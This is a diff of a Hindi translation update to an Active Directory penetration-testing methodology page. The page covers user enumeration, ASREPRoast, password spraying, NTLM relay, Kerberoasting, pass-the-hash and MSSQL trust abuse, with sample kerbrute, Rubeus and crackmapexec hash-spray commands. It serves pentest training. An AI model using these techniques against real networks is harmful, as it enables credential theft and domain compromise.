||||
@ -69,21 +69,21 @@ To learn how to **attack an AD** you need to **understand** really good the **Ke
|
||||
{{#endref}}
|
||||
|
||||
- **Poison the network**
|
||||
- Responder के साथ सेवाओं का impersonate करके credentials इकट्ठा करें: [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) के माध्यम से होस्ट तक पहुँच प्राप्त करें
|
||||
- **fake UPnP services** के प्रदर्शन से credentials इकट्ठा करें जैसे evil-S [**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- Responder का उपयोग करके सेवाओं का impersonate करके credentials इकट्ठा करें ([**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md))
|
||||
- [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) के जरिए host तक पहुँच प्राप्त करें
|
||||
- दुष्ट UPnP सेवाएँ expose करके credentials इकट्ठा करें [**exposing fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
|
||||
- आंतरिक दस्तावेज़ों, सोशल मीडिया, सेवाओं (मुख्यतः वेब) और सार्वजनिक रूप से उपलब्ध स्रोतों से usernames/names निकालें।
|
||||
- यदि आपको कंपनी के कर्मचारियों के पूर्ण नाम मिल जाते हैं, तो आप विभिन्न AD **username conventions** आजमा सकते हैं ([**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/))। सबसे सामान्य conventions हैं: _NameSurname_, _Name.Surname_, _NamSur_ (प्रत्येक से 3 अक्षर), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123).
|
||||
- internal documents, social media, services (मुख्यतः web) में और publicly available स्रोतों से usernames/names निकालें।
|
||||
- अगर आपको कंपनी कर्मचारियों के पूरे नाम मिल जाते हैं, तो आप विभिन्न AD **username conventions** आज़मा सकते हैं ([**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). सबसे सामान्य conventions हैं: _NameSurname_, _Name.Surname_, _NamSur_ (प्रत्येक का 3 अक्षर), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123).
|
||||
- Tools:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
|
||||
### User enumeration
|
||||
|
||||
- **Anonymous SMB/LDAP enum:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) और [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) पेज देखें।
|
||||
- **Kerbrute enum**: जब कोई **invalid username request** किया जाता है तो सर्वर **Kerberos error** कोड _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ के साथ उत्तर देगा, जिससे हम निर्धारित कर सकते हैं कि username अमान्य था। **Valid usernames** पर या तो **TGT in a AS-REP** रिस्पॉन्स मिलेगा या फिर त्रुटि _KRB5KDC_ERR_PREAUTH_REQUIRED_ होगी, जो संकेत देती है कि user को pre-authentication करने की आवश्यकता है।
|
||||
- **No Authentication against MS-NRPC**: domain controllers पर MS-NRPC (Netlogon) इंटरफ़ेस के खिलाफ auth-level = 1 (No authentication) का उपयोग करना। यह विधि MS-NRPC इंटरफ़ेस को bind करने के बाद `DsrGetDcNameEx2` फ़ंक्शन को कॉल करती है ताकि बिना किसी credentials के यह जांचा जा सके कि user या computer मौजूद है या नहीं। इस प्रकार के enumeration को लागू करने वाला टूल [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) है। रिसर्च यहाँ पाई जा सकती है: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf
|
||||
- **Anonymous SMB/LDAP enum:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) और [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) पृष्ठ देखें।
|
||||
- **Kerbrute enum**: जब कोई **invalid username is requested** होगा तो server **Kerberos error** कोड _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ के साथ प्रतिक्रिया देगा, जिससे हमें पता चल जाता है कि username अमान्य था। **Valid usernames** या तो **TGT in a AS-REP** response में मिलेंगे या error _KRB5KDC_ERR_PREAUTH_REQUIRED_ देंगे, जो संकेत करता है कि user को pre-authentication करना आवश्यक है।
|
||||
- **No Authentication against MS-NRPC**: domain controllers पर MS-NRPC (Netlogon) interface के खिलाफ auth-level = 1 (No authentication) का उपयोग करके। यह method MS-NRPC interface को bind करने के बाद `DsrGetDcNameEx2` function को कॉल करके बिना किसी credentials के यह जांचता है कि user या computer मौजूद है या नहीं। इस प्रकार की enumeration को लागू करने वाला टूल [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) है। शोध यहाँ पाया जा सकता है [यहाँ](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
|
||||
@ -97,7 +97,7 @@ python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/Nau
|
||||
```
|
||||
- **OWA (Outlook Web Access) Server**
|
||||
|
||||
यदि आप नेटवर्क में इन सर्वरों में से किसी एक को पाते हैं, तो आप इसके खिलाफ **user enumeration** भी कर सकते हैं। उदाहरण के लिए, आप टूल [**MailSniper**](https://github.com/dafthack/MailSniper) का उपयोग कर सकते हैं:
|
||||
यदि आप नेटवर्क में इन सर्वरों में से किसी को पाते हैं तो आप इसके खिलाफ **user enumeration against it** भी कर सकते हैं। उदाहरण के लिए, आप टूल [**MailSniper**](https://github.com/dafthack/MailSniper) का उपयोग कर सकते हैं:
|
||||
```bash
|
||||
ipmo C:\Tools\MailSniper\MailSniper.ps1
|
||||
# Get info about the domain
|
||||
@ -116,12 +116,11 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
|
||||
|
||||
### Knowing one or several usernames
|
||||
|
||||
Ok, so you know you have already a valid username but no passwords... Then try:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): If a user **doesn't have** the attribute _DONT_REQ_PREAUTH_ you can **request a AS_REP message** for that user that will contain some data encrypted by a derivation of the password of the user.
|
||||
- [**Password Spraying**](password-spraying.md): Let's try the most **common passwords** with each of the discovered users, maybe some user is using a bad password (keep in mind the password policy!).
|
||||
- Note that you can also **spray OWA servers** to try to get access to the users mail servers.
|
||||
ठीक है, तो आपके पास पहले से ही एक वैध username तो है पर कोई password नहीं... तब कोशिश करें:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): यदि किसी user के पास attribute _DONT_REQ_PREAUTH_ नहीं है तो आप उस user के लिए एक AS_REP message request कर सकते हैं जिसमें कुछ data होगा जो user के password के derivation से एन्क्रिप्टेड होगा।
|
||||
- [**Password Spraying**](password-spraying.md): खोजे गए प्रत्येक users के साथ सबसे सामान्य passwords आज़माएँ; शायद कोई user कमजोर password का उपयोग कर रहा हो (password policy का ध्यान रखें!)।
|
||||
- ध्यान दें कि आप users के mail servers तक access पाने की कोशिश के लिए OWA servers पर भी spray कर सकते हैं।
|
||||
|
||||
{{#ref}}
|
||||
password-spraying.md
|
||||
@ -129,7 +128,7 @@ password-spraying.md
|
||||
|
||||
### LLMNR/NBT-NS Poisoning
|
||||
|
||||
You might be able to **obtain** some challenge **hashes** to crack **poisoning** some protocols of the **network**:
|
||||
आप कुछ challenge hashes प्राप्त कर सकते हैं जिन्हें crack करने के लिए नेटवर्क के कुछ protocols को poisoning किया जा सकता है:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -138,11 +137,11 @@ You might be able to **obtain** some challenge **hashes** to crack **poisoning**
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
If you have managed to enumerate the active directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) to get access to the AD env.
|
||||
यदि आप Active Directory का enumeration करने में सफल रहे हैं तो आपके पास और भी emails होंगे और network की बेहतर समझ होगी। आप NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) को force कर के AD env तक access प्राप्त कर सकते हैं।
|
||||
|
||||
### Steal NTLM Creds
|
||||
|
||||
If you can **access other PCs or shares** with the **null or guest user** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it:
|
||||
यदि आप null या guest user के साथ अन्य PCs या shares तक access कर सकते हैं तो आप फाइलें (जैसे SCF file) रख सकते हैं जो किसी तरह access होने पर आपके खिलाफ NTLM authentication trigger कर देंगी, जिससे आप NTLM challenge चुरा कर उसे crack कर सकेंगे:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -151,9 +150,9 @@ If you can **access other PCs or shares** with the **null or guest user** you co
|
||||
|
||||
## Enumerating Active Directory WITH credentials/session
|
||||
|
||||
For this phase you need to have **compromised the credentials or a session of a valid domain account.** If you have some valid credentials or a shell as a domain user, **you should remember that the options given before are still options to compromise other users**.
|
||||
इस चरण के लिए आपके पास किसी वैध domain account के credentials या session का compromise होना आवश्यक है। अगर आपके पास कुछ वैध credentials हैं या domain user के रूप में shell है, तो याद रखें कि पहले दिए गए विकल्प अभी भी अन्य users को compromise करने के लिए उपलब्ध हैं।
|
||||
|
||||
Before start the authenticated enumeration you should know what is the **Kerberos double hop problem.**
|
||||
Authenticated enumeration शुरू करने से पहले आपको यह जानना चाहिए कि Kerberos double hop problem क्या है।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -162,31 +161,31 @@ kerberos-double-hop-problem.md
|
||||
|
||||
### Enumeration
|
||||
|
||||
Having compromised an account is a **big step to start compromising the whole domain**, because you are going to be able to start the **Active Directory Enumeration:**
|
||||
किसी account का compromise करना पूरे domain को compromise करने की शुरुआत के लिए एक बड़ा कदम है, क्योंकि इससे आप Active Directory Enumeration शुरू कर पाएंगे:
|
||||
|
||||
Regarding [**ASREPRoast**](asreproast.md) you can now find every possible vulnerable user, and regarding [**Password Spraying**](password-spraying.md) you can get a **list of all the usernames** and try the password of the compromised account, empty passwords and new promising passwords.
|
||||
जहाँ तक [**ASREPRoast**](asreproast.md) की बात है, अब आप हर संभावित vulnerable user ढूंढ सकते हैं, और जहाँ तक [**Password Spraying**](password-spraying.md) की बात है आप सभी usernames की सूची बनाकर compromised account का password, empty passwords और नए promising passwords आज़मा सकते हैं।
|
||||
|
||||
- You could use the [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- You can also use [**powershell for recon**](../basic-powershell-for-pentesters/index.html) which will be stealthier
|
||||
- You can also [**use powerview**](../basic-powershell-for-pentesters/powerview.md) to extract more detailed information
|
||||
- Another amazing tool for recon in an active directory is [**BloodHound**](bloodhound.md). It is **not very stealthy** (depending on the collection methods you use), but **if you don't care** about that, you should totally give it a try. Find where users can RDP, find path to other groups, etc.
|
||||
- **Other automated AD enumeration tools are:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**DNS records of the AD**](ad-dns-records.md) as they might contain interesting information.
|
||||
- A **tool with GUI** that you can use to enumerate the directory is **AdExplorer.exe** from **SysInternal** Suite.
|
||||
- You can also search in the LDAP database with **ldapsearch** to look for credentials in fields _userPassword_ & _unixUserPassword_, or even for _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) for other methods.
|
||||
- If you are using **Linux**, you could also enumerate the domain using [**pywerview**](https://github.com/the-useless-one/pywerview).
|
||||
- You could also try automated tools as:
|
||||
- आप [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info) का उपयोग कर सकते हैं
|
||||
- आप [**powershell for recon**](../basic-powershell-for-pentesters/index.html) का भी उपयोग कर सकते हैं, जो अधिक stealthier होगा
|
||||
- आप और विस्तृत जानकारी निकालने के लिए [**use powerview**](../basic-powershell-for-pentesters/powerview.md) का उपयोग कर सकते हैं
|
||||
- Active Directory में recon के लिए एक और शानदार टूल [**BloodHound**](bloodhound.md) है। यह (आपके collection methods पर निर्भर करते हुए) बहुत stealthy नहीं है, लेकिन अगर आपको इसकी परवाह नहीं है तो इसे जरूर आज़माएँ। पता लगाएँ कि users कहाँ RDP कर सकते हैं, अन्य groups तक किस तरह का path है, आदि।
|
||||
- **अन्य automated AD enumeration tools हैं:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**DNS records of the AD**](ad-dns-records.md) देखें क्योंकि इनमें उपयोगी जानकारी हो सकती है।
|
||||
- एक GUI वाला tool जो आप directory enumerate करने के लिए इस्तेमाल कर सकते हैं वह **AdExplorer.exe** है, जो **SysInternal** Suite का हिस्सा है।
|
||||
- आप LDAP database में **ldapsearch** से भी खोज कर सकते हैं ताकि _userPassword_ & _unixUserPassword_ फील्ड्स में credentials देखें, या यहाँ तक कि _Description_ में भी। अन्य तरीकों के लिए cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)।
|
||||
- यदि आप **Linux** उपयोग कर रहे हैं, तो आप domain enumerate करने के लिए [**pywerview**](https://github.com/the-useless-one/pywerview) का भी उपयोग कर सकते हैं।
|
||||
- आप निम्न automated tools भी आज़मा सकते हैं:
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
||||
- **Extracting all domain users**
|
||||
|
||||
It's very easy to obtain all the domain usernames from Windows (`net user /domain` ,`Get-DomainUser` or `wmic useraccount get name,sid`). In Linux, you can use: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` or `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
Windows से सभी domain usernames प्राप्त करना बहुत आसान है (`net user /domain` ,`Get-DomainUser` या `wmic useraccount get name,sid`)। Linux में आप उपयोग कर सकते हैं: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` या `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
|
||||
> Even if this Enumeration section looks small this is the most important part of all. Access the links (mainly the one of cmd, powershell, powerview and BloodHound), learn how to enumerate a domain and practice until you feel comfortable. During an assessment, this will be the key moment to find your way to DA or to decide that nothing can be done.
|
||||
> भले ही यह Enumeration सेक्शन छोटा दिखे, यह सबसे महत्वपूर्ण हिस्सा है। दिए गए links (मुख्यतः cmd, powershell, powerview और BloodHound) को खोलकर सीखें कि domain को कैसे enumerate करें और तब तक अभ्यास करें जब तक आप सहज महसूस न करें। एक assessment के दौरान यही वह मुख्य क्षण होगा जब आप DA तक पहुंचने का रास्ता ढूँढेंगे या यह तय करेंगे कि कुछ भी किया नहीं जा सकता।
|
||||
|
||||
### Kerberoast
|
||||
|
||||
Kerberoasting involves obtaining **TGS tickets** used by services tied to user accounts and cracking their encryption—which is based on user passwords—**offline**.
|
||||
Kerberoasting में उन TGS tickets को प्राप्त करना शामिल है जो services द्वारा उपयोग होते हैं जो user accounts से जुड़े होते हैं, और उनकी encryption — जो user passwords पर आधारित होती है — को offline crack करना शामिल है।
|
||||
|
||||
More about this in:
|
||||
|
||||
@ -197,17 +196,17 @@ kerberoast.md
|
||||
|
||||
### Remote connexion (RDP, SSH, FTP, Win-RM, etc)
|
||||
|
||||
Once you have obtained some credentials you could check if you have access to any **machine**. For that matter, you could use **CrackMapExec** to attempt connecting on several servers with different protocols, accordingly to your ports scans.
|
||||
एक बार जब आपके पास कुछ credentials हों, तो आप जाँच सकते हैं कि क्या किसी machine तक आपकी पहुँच है। इसके लिए आप CrackMapExec का उपयोग कर कई servers पर विभिन्न protocols के साथ connect करने की कोशिश कर सकते हैं, अपने port scans के अनुसार।
|
||||
|
||||
### Local Privilege Escalation
|
||||
|
||||
If you have compromised credentials or a session as a regular domain user and you have **access** with this user to **any machine in the domain** you should try to find your way to **escalate privileges locally and looting for credentials**. This is because only with local administrator privileges you will be able to **dump hashes of other users** in memory (LSASS) and locally (SAM).
|
||||
यदि आपने एक सामान्य domain user के रूप में credentials या session compromise किया है और इस user से domain की किसी भी machine तक आपकी access है, तो आपको local privilege escalate करने और credentials loot करने की कोशिश करनी चाहिए। क्योंकि केवल local administrator privileges के साथ ही आप अन्य users के hashes को memory (LSASS) और लोकल रूप से (SAM) dump कर पाएँगे।
|
||||
|
||||
There is a complete page in this book about [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) and a [**checklist**](../checklist-windows-privilege-escalation.md). Also, don't forget to use [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
इस किताब में [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) पर एक पूरी page है और एक [**checklist**](../checklist-windows-privilege-escalation.md) भी है। साथ ही, WinPEAS का उपयोग करना न भूलें: [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)。
|
||||
|
||||
### Current Session Tickets
|
||||
|
||||
It's very **unlikely** that you will find **tickets** in the current user **giving you permission to access** unexpected resources, but you could check:
|
||||
यह बहुत ही unlikely है कि आप current user में ऐसे tickets पाएँ जो आपको unexpected resources तक access देने की permission दें, लेकिन आप जाँच कर सकते हैं:
|
||||
```bash
|
||||
## List all tickets (if not admin, only current user tickets)
|
||||
.\Rubeus.exe triage
|
||||
@ -217,17 +216,17 @@ It's very **unlikely** that you will find **tickets** in the current user **givi
|
||||
```
|
||||
### NTLM Relay
|
||||
|
||||
If you have managed to enumerate the Active Directory you will have **अधिक ईमेल और नेटवर्क की बेहतर समझ**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
If you have managed to enumerate the active directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
|
||||
### Looks for Creds in Computer Shares | SMB Shares
|
||||
### Computer Shares में Creds खोजें | SMB Shares
|
||||
|
||||
Now that you have some basic credentials you should check if you can **खोजना** कोई भी **दिलचस्प फाइलें जो AD के अंदर साझा हो रही हों**. You could do that manually but it's a very boring repetitive task (and more if you find hundreds of docs you need to check).
|
||||
अब जब आपके पास कुछ बेसिक credentials हैं, तो आपको यह चेक करना चाहिए कि क्या आप AD के भीतर शेयर की जा रही किसी भी दिलचस्प फाइल को **खोज** सकते हैं। आप यह मैन्युअली कर सकते हैं पर यह बहुत उबाऊ और दोहराव वाला काम है (और भी ज्यादा अगर आपको सैकड़ों docs मिलते हैं जिन्हें आपको चेक करना होगा)।
|
||||
|
||||
[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
[**इस लिंक को फॉलो करें ताकि आप उपयोग कर सकने वाले tools के बारे में जान सकें।**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
|
||||
### Steal NTLM Creds
|
||||
|
||||
If you can **access other PCs or shares** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it:
|
||||
यदि आप अन्य PCs या shares तक **access** कर सकते हैं तो आप ऐसी फाइलें (जैसे एक SCF file) रख सकते हैं कि यदि किसी तरह वे एक्सेस हों तो वे आपके विरुद्ध NTLM authentication को **trigger** कर दें, ताकि आप NTLM challenge को **चुरा** सकें और उसे crack कर सकें:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -236,7 +235,7 @@ If you can **access other PCs or shares** you could **place files** (like a SCF
|
||||
|
||||
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
|
||||
|
||||
This vulnerability allowed any authenticated user to **compromise the domain controller**.
|
||||
यह vulnerability किसी भी authenticated user को **domain controller को compromise** करने की अनुमति देती थी।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -245,23 +244,23 @@ printnightmare.md
|
||||
|
||||
## Privilege escalation on Active Directory WITH privileged credentials/session
|
||||
|
||||
**For the following techniques a regular domain user is not enough, you need some special privileges/credentials to perform these attacks.**
|
||||
**निम्नलिखित techniques के लिए एक सामान्य domain user पर्याप्त नहीं है, इन attacks को करने के लिए आपको कुछ विशेष privileges/credentials चाहिए।**
|
||||
|
||||
### Hash extraction
|
||||
|
||||
Hopefully you have managed to **compromise some local admin** account using [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) including relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
|
||||
फिर, अब सभी hashes को memory और लोकली dump करने का समय है।\
|
||||
[**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
आशा है कि आप [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) सहित relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html) का उपयोग करके कुछ local admin account को **compromise** करने में सफल हुए होंगे।\
|
||||
फिर, यह समय है कि memory और local दोनों जगह से सभी hashes को dump करने का।\
|
||||
[**हैश प्राप्त करने के विभिन्न तरीकों के बारे में इस पेज को पढ़ें।**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Pass the Hash
|
||||
|
||||
**एक बार जब आपके पास किसी user का hash हो**, आप उसे **impersonate** कर सकते हैं।\
|
||||
आपको कुछ ऐसा **tool** इस्तेमाल करना होगा जो उस **hash** का उपयोग करके **NTLM authentication** करे, **या** आप नया **sessionlogon** बना कर वह **hash** **LSASS** में **inject** कर सकते हैं, ताकि जब भी कोई **NTLM authentication** किया जाए, वह **hash** उपयोग हो। अंतिम विकल्प वही है जो mimikatz करता है।\
|
||||
[**Read this page for more information.**](../ntlm/index.html#pass-the-hash)
|
||||
**एक बार जब आपके पास किसी user का hash हो जाता है**, आप इसका उपयोग करके उसे **impersonate** कर सकते हैं।\
|
||||
आपको ऐसा कोई **tool** उपयोग करना होगा जो उस **hash** का उपयोग करके **NTLM authentication** को अंजाम दे, **या** आप नया **sessionlogon** बना सकते हैं और उस **hash** को **LSASS** के अंदर **inject** कर सकते हैं, ताकि जब भी कोई **NTLM authentication** हो, वह **hash** उपयोग किया जाए। अंतिम विकल्प वही है जो mimikatz करता है।\
|
||||
[**और जानकारी के लिए इस पेज को पढ़ें।**](../ntlm/index.html#pass-the-hash)
|
||||
|
||||
### Over Pass the Hash/Pass the Key
|
||||
|
||||
This attack aims to **use the user NTLM hash to request Kerberos tickets**, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially **useful in networks where NTLM protocol is disabled** and only **Kerberos is allowed** as authentication protocol.
|
||||
यह attack इस बात का लक्ष्य रखता है कि उपयोगकर्ता के NTLM hash का उपयोग करके Kerberos tickets request किए जाएँ, जो सामान्य Pass The Hash over NTLM protocol का एक विकल्प है। इसलिए, यह उन नेटवर्क्स में विशेष रूप से उपयोगी हो सकता है जहाँ NTLM protocol disabled है और केवल Kerberos ही authentication protocol के रूप में allowed है।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -270,7 +269,7 @@ over-pass-the-hash-pass-the-key.md
|
||||
|
||||
### Pass the Ticket
|
||||
|
||||
In the **Pass The Ticket (PTT)** attack method, attackers **steal a user's authentication ticket** instead of their password or hash values. This stolen ticket is then used to **impersonate the user**, gaining unauthorized access to resources and services within a network.
|
||||
Pass The Ticket (PTT) attack method में, attackers उपयोगकर्ता का authentication ticket उसके password या hash values की बजाय **चुराते** हैं। यह चुराया गया ticket फिर उपयोगकर्ता को **impersonate** करने के लिए उपयोग किया जाता है, जिससे network के भीतर resources और services तक unauthorized access मिल जाती है।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -279,20 +278,20 @@ pass-the-ticket.md
|
||||
|
||||
### Credentials Reuse
|
||||
|
||||
If you have the **hash** or **password** of a **local administrator** you should try to **login locally** to other **PCs** with it.
|
||||
यदि आपके पास किसी local administrator का **hash** या **password** है, तो आपको इसके साथ अन्य **PCs** पर **local login** करने की कोशिश करनी चाहिए।
|
||||
```bash
|
||||
# Local Auth Spray (once you found some local admin pass or hash)
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||
```
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि यह काफी **शोरगुल** है और **LAPS** इसे **घटाएगा**।
|
||||
> ध्यान दें कि यह काफी **noisy** है और **LAPS** इसे **mitigate** करेगा।
|
||||
|
||||
### MSSQL Abuse & Trusted Links
|
||||
|
||||
यदि किसी user के पास **MSSQL instances** को **access** करने के privileges हैं, तो वह इसे MSSQL host पर **commands execute** करने (यदि यह SA के रूप में चल रहा हो), NetNTLM **hash** चुराने या यहाँ तक कि **relay attack** करने के लिए उपयोग कर सकता है.\
|
||||
इसके अलावा, यदि कोई MSSQL instance किसी दूसरे MSSQL instance द्वारा trusted (database link) है और user के पास trusted database पर privileges हैं, तो वह **trust relationship का उपयोग करके दूसरे instance में भी queries execute** कर पाएगा। ये trusts chain किए जा सकते हैं और किसी बिंदु पर user को कोई misconfigured database मिल सकती है जहाँ वह commands execute कर सके।\
|
||||
**Databases के बीच के links forest trusts के across भी काम करते हैं।**
|
||||
यदि किसी उपयोगकर्ता के पास **access MSSQL instances** की privileges हैं, तो वह इसे MSSQL host में **execute commands** करने के लिए उपयोग कर सकता है (यदि यह SA के रूप में चल रहा हो), NetNTLM **hash** को **steal** कर सकता है या यहाँ तक कि एक **relay** **attack** भी कर सकता है।\
|
||||
इसके अलावा, यदि कोई MSSQL instance किसी अलग MSSQL instance द्वारा trusted (database link) है और उपयोगकर्ता के पास trusted database पर privileges हैं, तो वह **use the trust relationship to execute queries also in the other instance** कर सकेगा। ये trusts chained हो सकते हैं और किसी बिंदु पर उपयोगकर्ता किसी misconfigured database को ढूँढ सकता है जहाँ वह commands execute कर सके।\
|
||||
**डेटाबेस के बीच के लिंक forest trusts के पार भी काम करते हैं।**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -301,7 +300,7 @@ abusing-ad-mssql.md
|
||||
|
||||
### IT asset/deployment platforms abuse
|
||||
|
||||
तीसरे-पक्ष के inventory और deployment suites अक्सर credentials और code execution तक शक्तिशाली रास्ते प्रदान करते हैं। देखें:
|
||||
Third-party inventory और deployment suites अक्सर credentials और code execution के लिए powerful रास्ते उजागर करते हैं। देखें:
|
||||
|
||||
{{#ref}}
|
||||
sccm-management-point-relay-sql-policy-secrets.md
|
||||
@ -313,9 +312,10 @@ lansweeper-security.md
|
||||
|
||||
### Unconstrained Delegation
|
||||
|
||||
यदि आप किसी Computer object में attribute [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) देखते हैं और आपके पास उस computer में domain privileges हैं, तो आप उस कंप्यूटर पर लॉगिन करने वाले हर उपयोगकर्ता की memory से TGTs dump कर पाएंगे।\
|
||||
यदि कोई **Domain Admin उस कंप्यूटर पर लॉगिन करता है**, तो आप उसका TGT dump कर के [Pass the Ticket](pass-the-ticket.md) का उपयोग करके उसकी impersonation कर पाएंगे।\
|
||||
constrained delegation की वजह से आप यहाँ तक कि **automatically एक Print Server compromise** भी कर सकते हैं (उम्मीद है वह DC होगा)।
|
||||
